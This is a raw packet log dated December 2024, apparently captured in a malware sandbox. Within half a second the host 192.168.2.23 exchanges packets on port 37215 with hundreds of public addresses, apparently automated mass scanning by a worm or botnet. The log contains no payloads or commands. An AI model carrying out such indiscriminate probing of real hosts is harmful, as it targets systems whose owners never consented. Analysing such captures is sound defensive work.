Dec 28, 2024 20:41:50.396692991 CET	28660	37215	192.168.2.23	156.183.52.68
Dec 28, 2024 20:41:50.396716118 CET	28660	37215	192.168.2.23	156.165.109.113
Dec 28, 2024 20:41:50.396728039 CET	37215	28660	197.62.57.155	192.168.2.23
Dec 28, 2024 20:41:50.396733999 CET	28660	37215	192.168.2.23	41.141.85.23
Dec 28, 2024 20:41:50.396740913 CET	37215	28660	156.44.100.14	192.168.2.23
Dec 28, 2024 20:41:50.396781921 CET	28660	37215	192.168.2.23	197.62.57.155
Dec 28, 2024 20:41:50.396787882 CET	28660	37215	192.168.2.23	156.44.100.14
Dec 28, 2024 20:41:50.396811008 CET	37215	28660	41.188.100.105	192.168.2.23
Dec 28, 2024 20:41:50.396821022 CET	37215	28660	156.140.198.118	192.168.2.23
Dec 28, 2024 20:41:50.396853924 CET	28660	37215	192.168.2.23	41.188.100.105
Dec 28, 2024 20:41:50.396855116 CET	28660	37215	192.168.2.23	156.140.198.118
Dec 28, 2024 20:41:50.396879911 CET	37215	28660	197.163.76.170	192.168.2.23
Dec 28, 2024 20:41:50.396888971 CET	37215	28660	156.131.156.44	192.168.2.23
Dec 28, 2024 20:41:50.396899939 CET	37215	28660	41.225.151.135	192.168.2.23
Dec 28, 2024 20:41:50.396909952 CET	37215	28660	197.7.55.157	192.168.2.23
Dec 28, 2024 20:41:50.396927118 CET	37215	28660	41.120.33.221	192.168.2.23
Dec 28, 2024 20:41:50.396929026 CET	28660	37215	192.168.2.23	197.163.76.170
Dec 28, 2024 20:41:50.396935940 CET	37215	28660	41.0.44.84	192.168.2.23
Dec 28, 2024 20:41:50.396946907 CET	37215	28660	156.22.133.81	192.168.2.23
Dec 28, 2024 20:41:50.396946907 CET	28660	37215	192.168.2.23	197.7.55.157
Dec 28, 2024 20:41:50.396951914 CET	37215	28660	41.99.90.113	192.168.2.23
Dec 28, 2024 20:41:50.396960974 CET	28660	37215	192.168.2.23	41.120.33.221
Dec 28, 2024 20:41:50.396967888 CET	37215	28660	197.106.116.32	192.168.2.23
Dec 28, 2024 20:41:50.396977901 CET	37215	28660	41.117.144.194	192.168.2.23
Dec 28, 2024 20:41:50.396982908 CET	28660	37215	192.168.2.23	156.131.156.44
Dec 28, 2024 20:41:50.396982908 CET	28660	37215	192.168.2.23	41.225.151.135
Dec 28, 2024 20:41:50.396986961 CET	28660	37215	192.168.2.23	41.0.44.84
Dec 28, 2024 20:41:50.396986961 CET	37215	28660	41.20.28.130	192.168.2.23
Dec 28, 2024 20:41:50.396989107 CET	28660	37215	192.168.2.23	156.22.133.81
Dec 28, 2024 20:41:50.396987915 CET	28660	37215	192.168.2.23	197.106.116.32
Dec 28, 2024 20:41:50.397005081 CET	37215	28660	156.69.108.178	192.168.2.23
Dec 28, 2024 20:41:50.397010088 CET	28660	37215	192.168.2.23	41.99.90.113
Dec 28, 2024 20:41:50.397018909 CET	28660	37215	192.168.2.23	41.117.144.194
Dec 28, 2024 20:41:50.397028923 CET	28660	37215	192.168.2.23	41.20.28.130
Dec 28, 2024 20:41:50.397028923 CET	28660	37215	192.168.2.23	156.69.108.178
Dec 28, 2024 20:41:50.397030115 CET	37215	28660	41.186.167.11	192.168.2.23
Dec 28, 2024 20:41:50.397038937 CET	37215	28660	156.107.214.141	192.168.2.23
Dec 28, 2024 20:41:50.397049904 CET	37215	28660	197.139.156.87	192.168.2.23
Dec 28, 2024 20:41:50.397058964 CET	37215	28660	156.180.152.12	192.168.2.23
Dec 28, 2024 20:41:50.397066116 CET	28660	37215	192.168.2.23	41.186.167.11
Dec 28, 2024 20:41:50.397068024 CET	37215	28660	41.221.52.253	192.168.2.23
Dec 28, 2024 20:41:50.397074938 CET	28660	37215	192.168.2.23	156.107.214.141
Dec 28, 2024 20:41:50.397074938 CET	28660	37215	192.168.2.23	197.139.156.87
Dec 28, 2024 20:41:50.397078037 CET	37215	28660	197.181.107.196	192.168.2.23
Dec 28, 2024 20:41:50.397100925 CET	28660	37215	192.168.2.23	156.180.152.12
Dec 28, 2024 20:41:50.397106886 CET	28660	37215	192.168.2.23	41.221.52.253
Dec 28, 2024 20:41:50.397109985 CET	28660	37215	192.168.2.23	197.181.107.196
Dec 28, 2024 20:41:50.397196054 CET	37215	28660	156.8.96.12	192.168.2.23
Dec 28, 2024 20:41:50.397206068 CET	37215	28660	156.156.34.59	192.168.2.23
Dec 28, 2024 20:41:50.397221088 CET	37215	28660	41.220.76.167	192.168.2.23
Dec 28, 2024 20:41:50.397229910 CET	37215	28660	41.0.129.227	192.168.2.23
Dec 28, 2024 20:41:50.397236109 CET	28660	37215	192.168.2.23	156.8.96.12
Dec 28, 2024 20:41:50.397238016 CET	28660	37215	192.168.2.23	156.156.34.59
Dec 28, 2024 20:41:50.397238970 CET	37215	28660	197.95.250.190	192.168.2.23
Dec 28, 2024 20:41:50.397259951 CET	28660	37215	192.168.2.23	41.0.129.227
Dec 28, 2024 20:41:50.397264004 CET	28660	37215	192.168.2.23	41.220.76.167
Dec 28, 2024 20:41:50.397283077 CET	28660	37215	192.168.2.23	197.95.250.190
Dec 28, 2024 20:41:50.397336006 CET	37215	28660	41.49.223.186	192.168.2.23
Dec 28, 2024 20:41:50.397372961 CET	28660	37215	192.168.2.23	41.49.223.186
Dec 28, 2024 20:41:50.505954981 CET	37215	28660	156.137.187.165	192.168.2.23
Dec 28, 2024 20:41:50.505964994 CET	37215	28660	41.161.164.22	192.168.2.23
Dec 28, 2024 20:41:50.505975962 CET	37215	28660	41.71.41.240	192.168.2.23
Dec 28, 2024 20:41:50.506006956 CET	28660	37215	192.168.2.23	156.137.187.165
Dec 28, 2024 20:41:50.506011009 CET	37215	28660	41.213.135.53	192.168.2.23
Dec 28, 2024 20:41:50.506016970 CET	37215	28660	197.157.82.53	192.168.2.23
Dec 28, 2024 20:41:50.506017923 CET	28660	37215	192.168.2.23	41.71.41.240
Dec 28, 2024 20:41:50.506022930 CET	37215	28660	41.56.67.236	192.168.2.23
Dec 28, 2024 20:41:50.506027937 CET	37215	28660	197.143.119.11	192.168.2.23
Dec 28, 2024 20:41:50.506040096 CET	28660	37215	192.168.2.23	41.161.164.22
Dec 28, 2024 20:41:50.506048918 CET	28660	37215	192.168.2.23	197.157.82.53
Dec 28, 2024 20:41:50.506052017 CET	28660	37215	192.168.2.23	41.213.135.53
Dec 28, 2024 20:41:50.506057978 CET	28660	37215	192.168.2.23	41.56.67.236
Dec 28, 2024 20:41:50.506063938 CET	37215	28660	197.191.246.190	192.168.2.23
Dec 28, 2024 20:41:50.506074905 CET	37215	28660	41.72.100.212	192.168.2.23
Dec 28, 2024 20:41:50.506081104 CET	28660	37215	192.168.2.23	197.143.119.11
Dec 28, 2024 20:41:50.506093025 CET	28660	37215	192.168.2.23	197.191.246.190
Dec 28, 2024 20:41:50.506103992 CET	37215	28660	41.29.124.187	192.168.2.23
Dec 28, 2024 20:41:50.506114006 CET	37215	28660	197.191.79.216	192.168.2.23
Dec 28, 2024 20:41:50.506119967 CET	28660	37215	192.168.2.23	41.72.100.212
Dec 28, 2024 20:41:50.506135941 CET	37215	28660	197.183.75.223	192.168.2.23
Dec 28, 2024 20:41:50.506145954 CET	37215	28660	197.120.65.168	192.168.2.23
Dec 28, 2024 20:41:50.506148100 CET	28660	37215	192.168.2.23	41.29.124.187
Dec 28, 2024 20:41:50.506155968 CET	37215	28660	156.170.236.189	192.168.2.23
Dec 28, 2024 20:41:50.506161928 CET	28660	37215	192.168.2.23	197.191.79.216
Dec 28, 2024 20:41:50.506166935 CET	37215	28660	156.135.45.117	192.168.2.23
Dec 28, 2024 20:41:50.506184101 CET	28660	37215	192.168.2.23	197.120.65.168
Dec 28, 2024 20:41:50.506185055 CET	28660	37215	192.168.2.23	197.183.75.223
Dec 28, 2024 20:41:50.506185055 CET	37215	28660	41.30.41.80	192.168.2.23
Dec 28, 2024 20:41:50.506187916 CET	28660	37215	192.168.2.23	156.170.236.189
Dec 28, 2024 20:41:50.506192923 CET	28660	37215	192.168.2.23	156.135.45.117
Dec 28, 2024 20:41:50.506195068 CET	37215	28660	197.115.137.64	192.168.2.23
Dec 28, 2024 20:41:50.506211996 CET	28660	37215	192.168.2.23	41.30.41.80
Dec 28, 2024 20:41:50.506225109 CET	37215	28660	156.161.116.169	192.168.2.23
Dec 28, 2024 20:41:50.506232977 CET	28660	37215	192.168.2.23	197.115.137.64
Dec 28, 2024 20:41:50.506236076 CET	37215	28660	197.172.209.23	192.168.2.23
Dec 28, 2024 20:41:50.506262064 CET	28660	37215	192.168.2.23	156.161.116.169
Dec 28, 2024 20:41:50.506268024 CET	28660	37215	192.168.2.23	197.172.209.23
Dec 28, 2024 20:41:50.506289005 CET	37215	28660	41.22.120.20	192.168.2.23
Dec 28, 2024 20:41:50.506299019 CET	37215	28660	41.248.155.74	192.168.2.23
Dec 28, 2024 20:41:50.506309032 CET	37215	28660	41.160.226.30	192.168.2.23
Dec 28, 2024 20:41:50.506319046 CET	37215	28660	197.5.133.112	192.168.2.23
Dec 28, 2024 20:41:50.506331921 CET	37215	28660	197.10.5.116	192.168.2.23
Dec 28, 2024 20:41:50.506333113 CET	28660	37215	192.168.2.23	41.248.155.74
Dec 28, 2024 20:41:50.506337881 CET	37215	28660	156.227.62.135	192.168.2.23
Dec 28, 2024 20:41:50.506340027 CET	28660	37215	192.168.2.23	41.160.226.30
Dec 28, 2024 20:41:50.506341934 CET	37215	28660	197.198.242.221	192.168.2.23
Dec 28, 2024 20:41:50.506347895 CET	37215	28660	41.191.222.199	192.168.2.23
Dec 28, 2024 20:41:50.506356955 CET	28660	37215	192.168.2.23	41.22.120.20
Dec 28, 2024 20:41:50.506360054 CET	28660	37215	192.168.2.23	197.10.5.116
Dec 28, 2024 20:41:50.506361008 CET	28660	37215	192.168.2.23	197.5.133.112
Dec 28, 2024 20:41:50.506369114 CET	28660	37215	192.168.2.23	156.227.62.135
Dec 28, 2024 20:41:50.506369114 CET	28660	37215	192.168.2.23	197.198.242.221
Dec 28, 2024 20:41:50.506397963 CET	28660	37215	192.168.2.23	41.191.222.199
Dec 28, 2024 20:41:50.506472111 CET	37215	28660	41.121.80.5	192.168.2.23
Dec 28, 2024 20:41:50.506527901 CET	28660	37215	192.168.2.23	41.121.80.5
Dec 28, 2024 20:41:50.507065058 CET	37215	28660	41.13.131.249	192.168.2.23
Dec 28, 2024 20:41:50.507112026 CET	28660	37215	192.168.2.23	41.13.131.249
Dec 28, 2024 20:41:50.507133961 CET	37215	28660	156.157.30.58	192.168.2.23
Dec 28, 2024 20:41:50.507143974 CET	37215	28660	197.141.159.132	192.168.2.23
Dec 28, 2024 20:41:50.507153988 CET	37215	28660	41.209.49.24	192.168.2.23
Dec 28, 2024 20:41:50.507164001 CET	37215	28660	197.238.244.91	192.168.2.23
Dec 28, 2024 20:41:50.507168055 CET	28660	37215	192.168.2.23	156.157.30.58
Dec 28, 2024 20:41:50.507174015 CET	37215	28660	41.20.130.35	192.168.2.23
Dec 28, 2024 20:41:50.507184029 CET	37215	28660	197.48.185.17	192.168.2.23
Dec 28, 2024 20:41:50.507194996 CET	37215	28660	156.193.153.61	192.168.2.23
Dec 28, 2024 20:41:50.507198095 CET	28660	37215	192.168.2.23	197.141.159.132
Dec 28, 2024 20:41:50.507198095 CET	28660	37215	192.168.2.23	41.209.49.24
Dec 28, 2024 20:41:50.507198095 CET	28660	37215	192.168.2.23	197.238.244.91
Dec 28, 2024 20:41:50.507205963 CET	28660	37215	192.168.2.23	41.20.130.35
Dec 28, 2024 20:41:50.507210970 CET	28660	37215	192.168.2.23	197.48.185.17
Dec 28, 2024 20:41:50.507215977 CET	37215	28660	156.135.188.115	192.168.2.23
Dec 28, 2024 20:41:50.507226944 CET	37215	28660	41.39.193.233	192.168.2.23
Dec 28, 2024 20:41:50.507229090 CET	28660	37215	192.168.2.23	156.193.153.61
Dec 28, 2024 20:41:50.507236958 CET	37215	28660	156.47.33.195	192.168.2.23
Dec 28, 2024 20:41:50.507246017 CET	37215	28660	41.178.128.88	192.168.2.23
Dec 28, 2024 20:41:50.507252932 CET	28660	37215	192.168.2.23	156.135.188.115
Dec 28, 2024 20:41:50.507256031 CET	37215	28660	156.155.25.33	192.168.2.23
Dec 28, 2024 20:41:50.507272005 CET	28660	37215	192.168.2.23	41.178.128.88
Dec 28, 2024 20:41:50.507272959 CET	28660	37215	192.168.2.23	41.39.193.233
Dec 28, 2024 20:41:50.507272959 CET	28660	37215	192.168.2.23	156.47.33.195
Dec 28, 2024 20:41:50.507275105 CET	37215	28660	197.103.61.149	192.168.2.23
Dec 28, 2024 20:41:50.507286072 CET	37215	28660	41.150.147.62	192.168.2.23
Dec 28, 2024 20:41:50.507291079 CET	28660	37215	192.168.2.23	156.155.25.33
Dec 28, 2024 20:41:50.507294893 CET	37215	28660	197.88.68.55	192.168.2.23
Dec 28, 2024 20:41:50.507307053 CET	37215	28660	41.24.73.82	192.168.2.23
Dec 28, 2024 20:41:50.507324934 CET	28660	37215	192.168.2.23	197.103.61.149
Dec 28, 2024 20:41:50.507328987 CET	37215	28660	156.132.76.12	192.168.2.23
Dec 28, 2024 20:41:50.507333040 CET	28660	37215	192.168.2.23	41.150.147.62
Dec 28, 2024 20:41:50.507339001 CET	37215	28660	197.67.246.217	192.168.2.23
Dec 28, 2024 20:41:50.507344007 CET	37215	28660	41.77.181.16	192.168.2.23
Dec 28, 2024 20:41:50.507349968 CET	37215	28660	197.250.91.28	192.168.2.23
Dec 28, 2024 20:41:50.507360935 CET	28660	37215	192.168.2.23	197.88.68.55
Dec 28, 2024 20:41:50.507364035 CET	28660	37215	192.168.2.23	41.24.73.82
Dec 28, 2024 20:41:50.507368088 CET	37215	28660	197.160.95.112	192.168.2.23
Dec 28, 2024 20:41:50.507380962 CET	28660	37215	192.168.2.23	41.77.181.16
Dec 28, 2024 20:41:50.507380962 CET	28660	37215	192.168.2.23	197.67.246.217
Dec 28, 2024 20:41:50.507380962 CET	28660	37215	192.168.2.23	156.132.76.12
Dec 28, 2024 20:41:50.507380962 CET	28660	37215	192.168.2.23	197.250.91.28
Dec 28, 2024 20:41:50.507385015 CET	37215	28660	41.173.24.148	192.168.2.23
Dec 28, 2024 20:41:50.507395983 CET	37215	28660	41.50.111.98	192.168.2.23
Dec 28, 2024 20:41:50.507405043 CET	28660	37215	192.168.2.23	197.160.95.112
Dec 28, 2024 20:41:50.507426977 CET	28660	37215	192.168.2.23	41.173.24.148
Dec 28, 2024 20:41:50.507426977 CET	28660	37215	192.168.2.23	41.50.111.98
Dec 28, 2024 20:41:50.507442951 CET	37215	28660	197.144.28.60	192.168.2.23
Dec 28, 2024 20:41:50.507483006 CET	28660	37215	192.168.2.23	197.144.28.60
Dec 28, 2024 20:41:50.507494926 CET	37215	28660	197.150.68.118	192.168.2.23
Dec 28, 2024 20:41:50.507508993 CET	37215	28660	197.47.199.115	192.168.2.23
Dec 28, 2024 20:41:50.507514954 CET	37215	28660	197.185.219.164	192.168.2.23
Dec 28, 2024 20:41:50.507529974 CET	28660	37215	192.168.2.23	197.47.199.115
Dec 28, 2024 20:41:50.507533073 CET	28660	37215	192.168.2.23	197.150.68.118
Dec 28, 2024 20:41:50.507548094 CET	28660	37215	192.168.2.23	197.185.219.164
Dec 28, 2024 20:41:50.508137941 CET	37215	28660	41.180.171.168	192.168.2.23
Dec 28, 2024 20:41:50.508150101 CET	37215	28660	41.120.85.131	192.168.2.23
Dec 28, 2024 20:41:50.508167982 CET	37215	28660	41.234.139.187	192.168.2.23
Dec 28, 2024 20:41:50.508177042 CET	28660	37215	192.168.2.23	41.180.171.168
Dec 28, 2024 20:41:50.508177042 CET	28660	37215	192.168.2.23	41.120.85.131
Dec 28, 2024 20:41:50.508183956 CET	37215	28660	41.87.233.94	192.168.2.23
Dec 28, 2024 20:41:50.508203030 CET	37215	28660	156.247.130.231	192.168.2.23
Dec 28, 2024 20:41:50.508209944 CET	28660	37215	192.168.2.23	41.234.139.187
Dec 28, 2024 20:41:50.508213043 CET	37215	28660	156.239.17.99	192.168.2.23
Dec 28, 2024 20:41:50.508224010 CET	37215	28660	41.127.41.76	192.168.2.23
Dec 28, 2024 20:41:50.508235931 CET	28660	37215	192.168.2.23	41.87.233.94
Dec 28, 2024 20:41:50.508235931 CET	28660	37215	192.168.2.23	156.247.130.231
Dec 28, 2024 20:41:50.508243084 CET	37215	28660	41.154.107.87	192.168.2.23
Dec 28, 2024 20:41:50.508253098 CET	37215	28660	156.146.50.36	192.168.2.23
Dec 28, 2024 20:41:50.508260965 CET	28660	37215	192.168.2.23	156.239.17.99
Dec 28, 2024 20:41:50.508260965 CET	28660	37215	192.168.2.23	41.127.41.76
Dec 28, 2024 20:41:50.508274078 CET	28660	37215	192.168.2.23	41.154.107.87
Dec 28, 2024 20:41:50.508284092 CET	37215	28660	156.89.27.43	192.168.2.23
Dec 28, 2024 20:41:50.508306026 CET	28660	37215	192.168.2.23	156.146.50.36
Dec 28, 2024 20:41:50.508343935 CET	28660	37215	192.168.2.23	156.89.27.43
Dec 28, 2024 20:41:50.508444071 CET	37215	28660	156.38.249.33	192.168.2.23
Dec 28, 2024 20:41:50.508454084 CET	37215	28660	41.106.184.181	192.168.2.23
Dec 28, 2024 20:41:50.508488894 CET	28660	37215	192.168.2.23	156.38.249.33
Dec 28, 2024 20:41:50.508488894 CET	37215	28660	156.118.148.106	192.168.2.23
Dec 28, 2024 20:41:50.508490086 CET	28660	37215	192.168.2.23	41.106.184.181
Dec 28, 2024 20:41:50.508501053 CET	37215	28660	156.100.57.36	192.168.2.23
Dec 28, 2024 20:41:50.508511066 CET	37215	28660	41.101.98.195	192.168.2.23
Dec 28, 2024 20:41:50.508519888 CET	37215	28660	197.173.204.22	192.168.2.23
Dec 28, 2024 20:41:50.508538008 CET	37215	28660	156.34.200.242	192.168.2.23
Dec 28, 2024 20:41:50.508538961 CET	28660	37215	192.168.2.23	156.100.57.36
Dec 28, 2024 20:41:50.508544922 CET	28660	37215	192.168.2.23	156.118.148.106
Dec 28, 2024 20:41:50.508547068 CET	28660	37215	192.168.2.23	41.101.98.195
Dec 28, 2024 20:41:50.508548021 CET	37215	28660	156.213.72.229	192.168.2.23
Dec 28, 2024 20:41:50.508558989 CET	37215	28660	156.73.137.51	192.168.2.23
Dec 28, 2024 20:41:50.508569002 CET	37215	28660	197.127.71.117	192.168.2.23
Dec 28, 2024 20:41:50.508569956 CET	28660	37215	192.168.2.23	197.173.204.22
Dec 28, 2024 20:41:50.508582115 CET	28660	37215	192.168.2.23	156.34.200.242
Dec 28, 2024 20:41:50.508584023 CET	37215	28660	156.123.217.104	192.168.2.23
Dec 28, 2024 20:41:50.508586884 CET	28660	37215	192.168.2.23	156.213.72.229
Dec 28, 2024 20:41:50.508590937 CET	28660	37215	192.168.2.23	156.73.137.51
Dec 28, 2024 20:41:50.508594990 CET	37215	28660	41.46.61.159	192.168.2.23
Dec 28, 2024 20:41:50.508605003 CET	28660	37215	192.168.2.23	197.127.71.117
Dec 28, 2024 20:41:50.508610010 CET	37215	28660	41.224.254.220	192.168.2.23
Dec 28, 2024 20:41:50.508618116 CET	28660	37215	192.168.2.23	41.46.61.159
Dec 28, 2024 20:41:50.508621931 CET	37215	28660	156.179.62.121	192.168.2.23
Dec 28, 2024 20:41:50.508632898 CET	37215	28660	41.123.193.181	192.168.2.23
Dec 28, 2024 20:41:50.508651018 CET	28660	37215	192.168.2.23	156.123.217.104
Dec 28, 2024 20:41:50.508658886 CET	28660	37215	192.168.2.23	41.224.254.220
Dec 28, 2024 20:41:50.508663893 CET	28660	37215	192.168.2.23	156.179.62.121
Dec 28, 2024 20:41:50.508672953 CET	37215	28660	197.154.244.106	192.168.2.23
Dec 28, 2024 20:41:50.508677006 CET	28660	37215	192.168.2.23	41.123.193.181
Dec 28, 2024 20:41:50.508683920 CET	37215	28660	41.239.228.169	192.168.2.23
Dec 28, 2024 20:41:50.508696079 CET	37215	28660	41.237.224.106	192.168.2.23
Dec 28, 2024 20:41:50.508709908 CET	28660	37215	192.168.2.23	41.239.228.169
Dec 28, 2024 20:41:50.508713007 CET	28660	37215	192.168.2.23	197.154.244.106
Dec 28, 2024 20:41:50.508747101 CET	28660	37215	192.168.2.23	41.237.224.106
Dec 28, 2024 20:41:50.509218931 CET	37215	28660	156.181.80.246	192.168.2.23
Dec 28, 2024 20:41:50.509228945 CET	37215	28660	41.113.12.127	192.168.2.23
Dec 28, 2024 20:41:50.509238958 CET	37215	28660	156.116.152.156	192.168.2.23
Dec 28, 2024 20:41:50.509248018 CET	37215	28660	197.237.108.48	192.168.2.23
Dec 28, 2024 20:41:50.509258986 CET	37215	28660	197.214.238.164	192.168.2.23
Dec 28, 2024 20:41:50.509268999 CET	37215	28660	41.240.58.202	192.168.2.23
Dec 28, 2024 20:41:50.509269953 CET	28660	37215	192.168.2.23	156.181.80.246
Dec 28, 2024 20:41:50.509272099 CET	28660	37215	192.168.2.23	41.113.12.127
Dec 28, 2024 20:41:50.509278059 CET	37215	28660	41.39.125.11	192.168.2.23
Dec 28, 2024 20:41:50.509279966 CET	28660	37215	192.168.2.23	156.116.152.156
Dec 28, 2024 20:41:50.509279966 CET	28660	37215	192.168.2.23	197.237.108.48
Dec 28, 2024 20:41:50.509289026 CET	37215	28660	197.207.26.224	192.168.2.23
Dec 28, 2024 20:41:50.509299994 CET	28660	37215	192.168.2.23	197.214.238.164
Dec 28, 2024 20:41:50.509301901 CET	28660	37215	192.168.2.23	41.240.58.202
Dec 28, 2024 20:41:50.509308100 CET	28660	37215	192.168.2.23	41.39.125.11
Dec 28, 2024 20:41:50.509313107 CET	37215	28660	156.146.242.135	192.168.2.23
Dec 28, 2024 20:41:50.509316921 CET	37215	28660	197.64.87.41	192.168.2.23
Dec 28, 2024 20:41:50.509322882 CET	37215	28660	197.69.132.48	192.168.2.23
Dec 28, 2024 20:41:50.509327888 CET	37215	28660	197.165.14.197	192.168.2.23
Dec 28, 2024 20:41:50.509334087 CET	37215	28660	156.6.95.139	192.168.2.23
Dec 28, 2024 20:41:50.509337902 CET	28660	37215	192.168.2.23	197.207.26.224
Dec 28, 2024 20:41:50.509339094 CET	37215	28660	41.116.66.15	192.168.2.23
Dec 28, 2024 20:41:50.509340048 CET	37215	28660	197.61.223.220	192.168.2.23
Dec 28, 2024 20:41:50.509342909 CET	37215	28660	156.128.180.184	192.168.2.23
Dec 28, 2024 20:41:50.509346008 CET	37215	28660	156.7.160.94	192.168.2.23
Dec 28, 2024 20:41:50.509346008 CET	28660	37215	192.168.2.23	156.146.242.135
Dec 28, 2024 20:41:50.509351015 CET	28660	37215	192.168.2.23	197.69.132.48
Dec 28, 2024 20:41:50.509355068 CET	28660	37215	192.168.2.23	197.64.87.41
Dec 28, 2024 20:41:50.509360075 CET	37215	28660	41.56.100.108	192.168.2.23
Dec 28, 2024 20:41:50.509362936 CET	28660	37215	192.168.2.23	197.165.14.197
Dec 28, 2024 20:41:50.509371042 CET	37215	28660	156.115.161.1	192.168.2.23
Dec 28, 2024 20:41:50.509376049 CET	28660	37215	192.168.2.23	41.116.66.15
Dec 28, 2024 20:41:50.509376049 CET	28660	37215	192.168.2.23	156.128.180.184
Dec 28, 2024 20:41:50.509377956 CET	28660	37215	192.168.2.23	197.61.223.220
Dec 28, 2024 20:41:50.509382010 CET	37215	28660	197.79.140.98	192.168.2.23
Dec 28, 2024 20:41:50.509386063 CET	28660	37215	192.168.2.23	156.6.95.139
Dec 28, 2024 20:41:50.509392023 CET	37215	28660	41.236.108.113	192.168.2.23
Dec 28, 2024 20:41:50.509396076 CET	28660	37215	192.168.2.23	156.7.160.94
Dec 28, 2024 20:41:50.509397030 CET	28660	37215	192.168.2.23	41.56.100.108
Dec 28, 2024 20:41:50.509413958 CET	28660	37215	192.168.2.23	156.115.161.1
Dec 28, 2024 20:41:50.509424925 CET	28660	37215	192.168.2.23	197.79.140.98
Dec 28, 2024 20:41:50.509432077 CET	28660	37215	192.168.2.23	41.236.108.113
Dec 28, 2024 20:41:50.509442091 CET	37215	28660	41.216.149.106	192.168.2.23
Dec 28, 2024 20:41:50.509452105 CET	37215	28660	41.3.129.30	192.168.2.23
Dec 28, 2024 20:41:50.509462118 CET	37215	28660	156.153.181.184	192.168.2.23
Dec 28, 2024 20:41:50.509466887 CET	37215	28660	197.185.236.146	192.168.2.23
Dec 28, 2024 20:41:50.509476900 CET	37215	28660	156.136.53.168	192.168.2.23
Dec 28, 2024 20:41:50.509489059 CET	37215	28660	197.230.193.213	192.168.2.23
Dec 28, 2024 20:41:50.509495974 CET	28660	37215	192.168.2.23	41.3.129.30
Dec 28, 2024 20:41:50.509495974 CET	28660	37215	192.168.2.23	156.153.181.184
Dec 28, 2024 20:41:50.509499073 CET	37215	28660	41.89.217.178	192.168.2.23
Dec 28, 2024 20:41:50.509502888 CET	28660	37215	192.168.2.23	41.216.149.106
Dec 28, 2024 20:41:50.509502888 CET	28660	37215	192.168.2.23	197.185.236.146
Dec 28, 2024 20:41:50.509520054 CET	28660	37215	192.168.2.23	156.136.53.168
Dec 28, 2024 20:41:50.509529114 CET	28660	37215	192.168.2.23	197.230.193.213
Dec 28, 2024 20:41:50.509531975 CET	28660	37215	192.168.2.23	41.89.217.178
Dec 28, 2024 20:41:50.509938002 CET	37215	28660	197.140.193.151	192.168.2.23
Dec 28, 2024 20:41:50.509979963 CET	28660	37215	192.168.2.23	197.140.193.151
Dec 28, 2024 20:41:50.509999990 CET	37215	28660	156.176.222.34	192.168.2.23
Dec 28, 2024 20:41:50.510010958 CET	37215	28660	41.151.7.207	192.168.2.23
Dec 28, 2024 20:41:50.510026932 CET	37215	28660	41.122.9.241	192.168.2.23
Dec 28, 2024 20:41:50.510040045 CET	28660	37215	192.168.2.23	41.151.7.207
Dec 28, 2024 20:41:50.510045052 CET	37215	28660	156.123.230.218	192.168.2.23
Dec 28, 2024 20:41:50.510056019 CET	37215	28660	41.202.67.98	192.168.2.23
Dec 28, 2024 20:41:50.510060072 CET	28660	37215	192.168.2.23	156.176.222.34
Dec 28, 2024 20:41:50.510065079 CET	28660	37215	192.168.2.23	41.122.9.241
Dec 28, 2024 20:41:50.510073900 CET	37215	28660	197.87.136.97	192.168.2.23
Dec 28, 2024 20:41:50.510082960 CET	37215	28660	156.203.136.112	192.168.2.23
Dec 28, 2024 20:41:50.510094881 CET	28660	37215	192.168.2.23	41.202.67.98
Dec 28, 2024 20:41:50.510099888 CET	28660	37215	192.168.2.23	156.123.230.218
Dec 28, 2024 20:41:50.510099888 CET	28660	37215	192.168.2.23	197.87.136.97
Dec 28, 2024 20:41:50.510123014 CET	28660	37215	192.168.2.23	156.203.136.112
Dec 28, 2024 20:41:50.510128975 CET	37215	28660	41.131.129.30	192.168.2.23
Dec 28, 2024 20:41:50.510142088 CET	37215	28660	41.121.27.10	192.168.2.23
Dec 28, 2024 20:41:50.510143995 CET	37215	28660	41.69.7.180	192.168.2.23
Dec 28, 2024 20:41:50.510148048 CET	37215	28660	41.247.21.195	192.168.2.23
Dec 28, 2024 20:41:50.510159016 CET	37215	28660	156.228.111.242	192.168.2.23
Dec 28, 2024 20:41:50.510175943 CET	37215	28660	156.166.150.155	192.168.2.23
Dec 28, 2024 20:41:50.510176897 CET	28660	37215	192.168.2.23	41.131.129.30
Dec 28, 2024 20:41:50.510178089 CET	28660	37215	192.168.2.23	41.121.27.10
Dec 28, 2024 20:41:50.510183096 CET	28660	37215	192.168.2.23	41.247.21.195
Dec 28, 2024 20:41:50.510183096 CET	28660	37215	192.168.2.23	41.69.7.180
Dec 28, 2024 20:41:50.510186911 CET	37215	28660	41.244.30.51	192.168.2.23
Dec 28, 2024 20:41:50.510198116 CET	37215	28660	156.137.222.32	192.168.2.23
Dec 28, 2024 20:41:50.510201931 CET	28660	37215	192.168.2.23	156.228.111.242
Dec 28, 2024 20:41:50.510210991 CET	28660	37215	192.168.2.23	156.166.150.155
Dec 28, 2024 20:41:50.510216951 CET	37215	28660	156.19.205.242	192.168.2.23
Dec 28, 2024 20:41:50.510226965 CET	37215	28660	41.53.159.105	192.168.2.23
Dec 28, 2024 20:41:50.510232925 CET	28660	37215	192.168.2.23	156.137.222.32
Dec 28, 2024 20:41:50.510236025 CET	37215	28660	156.101.28.9	192.168.2.23
Dec 28, 2024 20:41:50.510241985 CET	28660	37215	192.168.2.23	156.19.205.242
Dec 28, 2024 20:41:50.510246038 CET	28660	37215	192.168.2.23	41.244.30.51
Dec 28, 2024 20:41:50.510247946 CET	37215	28660	156.227.40.95	192.168.2.23
Dec 28, 2024 20:41:50.510258913 CET	37215	28660	41.6.239.172	192.168.2.23
Dec 28, 2024 20:41:50.510268927 CET	28660	37215	192.168.2.23	41.53.159.105
Dec 28, 2024 20:41:50.510272026 CET	28660	37215	192.168.2.23	156.101.28.9
Dec 28, 2024 20:41:50.510272026 CET	28660	37215	192.168.2.23	156.227.40.95
Dec 28, 2024 20:41:50.510301113 CET	28660	37215	192.168.2.23	41.6.239.172
Dec 28, 2024 20:41:50.510349989 CET	37215	28660	41.71.239.67	192.168.2.23
Dec 28, 2024 20:41:50.510360956 CET	37215	28660	197.166.114.13	192.168.2.23
Dec 28, 2024 20:41:50.510370016 CET	37215	28660	156.37.40.138	192.168.2.23
Dec 28, 2024 20:41:50.510385990 CET	37215	28660	197.234.126.39	192.168.2.23
Dec 28, 2024 20:41:50.510396004 CET	37215	28660	41.97.229.173	192.168.2.23
Dec 28, 2024 20:41:50.510397911 CET	28660	37215	192.168.2.23	41.71.239.67
Dec 28, 2024 20:41:50.510402918 CET	28660	37215	192.168.2.23	156.37.40.138
Dec 28, 2024 20:41:50.510406017 CET	37215	28660	197.9.9.204	192.168.2.23
